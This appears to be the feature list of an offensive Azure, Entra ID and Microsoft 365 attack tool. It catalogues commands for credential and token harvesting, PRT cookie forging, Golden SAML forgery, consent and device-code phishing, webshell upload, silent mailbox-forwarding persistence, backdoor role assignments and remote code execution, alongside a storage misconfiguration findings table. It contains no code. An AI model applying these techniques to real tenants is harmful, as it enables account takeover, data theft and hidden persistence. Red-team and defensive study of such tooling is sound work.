m365 rules list/add/delete✅GraphInbox forwarding rules (silent mailbox-forwarding persistence)
scan dump✅ARM+GraphPull the directory + attack graph into an offline pure-Go SQLite database
scan query <view>❌—Run canned analytic views (admins, password-resetters, dangerous-approles, …) against a dump
adconnect sync-creds✅ADSync SQLDump encrypted AD Connect sync bind-credentials from the ADSync DB (decrypt with AADInternals Get-AADIntSyncCredentials)
usgov
china
IDSeverityMeaning
STOR-001HIGHStorage account allows blob public (anonymous) access
STOR-002MEDIUMHTTPS-only transfer not enforced
STOR-003MEDIUMMinimum TLS version below 1.2
STOR-004LOWShared Key (account key) access enabled
STOR-005MEDIUMStorage reachable from all networks (firewall default-allow)
BLOB-001MEDIUMContainer allows anonymous listing
BLOB-002LOWBlob versioning is enabled (history may be recoverable)
BLOB-003MEDIUMHistorical blob versions anonymously retrievable
BLOB-010variesSensitive file exposed anonymously (severity from classifier)
  • Secrets: Key Vault — list secrets/keys/certs, read + dump secret values
  • Data access: Azure SQL — Entra ID or SQL auth, list/query/dump
  • Data access: authenticated storage — blobs + Storage Tables
  • Audit: storage accounts
  • Anonymous blob attacks: check, list, version enumeration, hunt, download
  • Graph: group-inherited RBAC expansion (privesc groundwork)
  • Anonymous storage-account / container brute-forcing (blob brute)
  • Dangling-DNS subdomain-takeover checks (recon takeover)
  • Audit: NSG internet exposure + public IPs (audit network)
  • Audit: Key Vault public access / purge / policies + RBAC hygiene (audit keyvault/rbac)
  • Secrets: storage keys/SAS, automation runbooks/vars, deployment history, VM RunCommand
  • scan: BloodHound-style attack-path graph (text + JSON + HTML) joining Entra ID (groups/roles) with ARM RBAC + resources
  • Correctness: ARM/Graph nextLink pagination, 429/Retry-After backoff, sovereign clouds (--cloud)
  • Entra loot: Windows LAPS & BitLocker key retrieval, OAuth-grant (illicit-consent) enum
  • token decode utility (claims + wids→directory-role mapping)
  • ARM elevate-access (Global Admin → tenant-root User Access Administrator)
  • Entra persistence writes: add member/owner, consent grant, guest invite, TAP creation
  • Self-joinable dynamic-group paths wired into the scan privesc graph
  • AADInternals-depth outsider recon (recon tenantinfo: federation / Seamless SSO / on-prem sync)
  • Stale/risky-identity hunt (enum risky); Intune device enum + script-push RCE (intune)
  • Persistence: create app+SP+secret, reset password (account takeover)
  • BloodHound CE OpenGraph export (scan --bloodhound)
  • Entra + ARM privilege-escalation graph in scan (owned SP/app/group → Global Admin)
  • Data-plane content: storage queue peek, file-share files
  • Entra privilege escalation: dangerous Graph app-role enum + app/SP credential abuse
  • Privileged directory-role + PIM-eligible enumeration
  • Resource loot: Function keys, disk/snapshot export, APIM, Logic Apps, Data Factory
  • Data-plane breadth: storage file shares/queues; M365 mail/OneDrive/SharePoint
  • Service breadth: AKS (cluster-admin kubeconfig), Cosmos/ACR/Redis/ServiceBus/EventHub/Cognitive/Batch/AppConfig key loot
  • Interactive transitive group-chain expansion in the web app (recursive --deep)
  • Device-code phishing flow (mfa devicecode)
  • Findings/MFA surfaced in the scan web app (scan --audit → Findings tab)
  • Custom-role dangerous-action detection via role-definition actions/dataActions
  • Administrative Unit enumeration and AU-scoped role abuse (chained with dynamic groups → score 80)
  • User profile update for dynamic group abuse (entra update-profile)
  • SAS-token blob container listing (blob containers --sas)
  • Username pattern generation for recon (recon users --first --last --domain)
  • Cosmos DB data-plane access (list/dump/table)
  • Container App loot, exec, and managed-identity token theft
  • IoT Hub keys, device registry, and direct-method RCE
  • Recovery Services backup restore (offline disk exfil)
  • PostgreSQL/MySQL server enumeration and query
  • Managed identity mapping (enum identities), Lighthouse delegations, public IPs
  • scan --loot deep scan: Function App keys, AKS kubeconfig, LAPS passwords, BitLocker keys, APIM secrets, DB firewall rules, disk snapshots, custom RBAC wildcard roles, stale SP credentials, Logic App definitions
  • Certificate-based service principal auth (--certificate PFX/PEM)
  • Kudu VFS file upload (webapp deploy) for webshell deployment
  • VM extensions listing (Custom Script Extension credential leakage)
  • On-premises synced user enumeration with Security Identifiers (enum synced)
  • Logic App workflow parameters (standalone secrets separate from definition)
  • Power Platform / Dataverse enumeration (environments, canvas apps, table listing, OData query)
  • MSAL token cache extraction (token extract — refresh + access tokens from .azure/msal_token_cache.json)
  • M365 breadth: Teams message dump, mail/file search, automated secret scanning (m365 scan)
  • Azure DevOps enumeration and abuse: service connections, variable groups, pipeline YAML preview, real pipeline run + build log (devops)
  • ARM deploymentScripts RCE via transient ACI container, with managed-identity attach (arm deploy-script)
  • ARM privesc/persistence primitives: self/backdoor RBAC role assignment, user-assigned identity attach (persistence)
  • AKS attack-graph wiring: kubelet identity node + its RBAC (ACR pull, etc.) surfaced as scored attack paths, auth-posture detection (private/AAD/Azure RBAC/local-accounts-disabled)
  • Direct Kubernetes API access from a stolen kubeconfig (k8s — secrets, service accounts, pods, RBAC privesc enumeration, non-interactive pod exec, service-account token minting)
  • Azure Workload Identity pivot: exchange a stolen, federated service-account token for a real Azure AD access token with no secret involved (k8s pivot-azure)
  • Azure Resource Graph (KQL) queries: arbitrary KQL (enum kql) + single-query estate listing (enum resources --fast)
  • Local credential harvesting (harvest): az CLI (accessTokens.json, azureProfile.json, service_principal_entries.json, MSAL cache) and Az PowerShell (AzureRmContext.json, DPAPI TokenCache.dat on Windows)
  • PRT abuse (prt): KDF v2 x-ms-RefreshTokenCredential SSO-cookie forge from a PRT + session key, full nonce→cookie→authorize→token chain; on-host BrowserCore.exe extraction (Windows)
  • Device registration (device register): DRS rogue-device join → device cert/key (PRT prerequisite, device-based CA bypass, persistence)
  • Federation attacks (federation): managed→federated backdoor (ConvertTo-AADIntBackdoor) + Golden SAML forgery & SAML-bearer redemption (XML-DSig validated against an independent implementation)
  • OAuth consent-phishing app injection (entra phish-app): multi-tenant app + consent URLs + local reply-URL token catcher (Invoke-InjectOAuthApp)
  • Mailbox persistence (m365 rules): silent inbox-forwarding rules via Graph messageRules
  • Offline directory model (scan dump/scan query): full directory + attack graph into pure-Go SQLite (modernc.org/sqlite), 13 canned analytic views
  • Windows on-host helpers: PRT cookie extraction via BrowserCore (prt extract), AD Connect sync-credential dump (adconnect sync-creds), DPAPI (CryptUnprotectData) — build-tagged, no-op guidance off Windows
  • prt request: obtain a real PRT from a registered device (chains device registration → the KDF v2 cookie)
  • Seamless SSO Kerberos silver ticket; WHfB key registration
  • AD Connect sync-credential decryption (currently dumps the encrypted blob → hand off to AADInternals)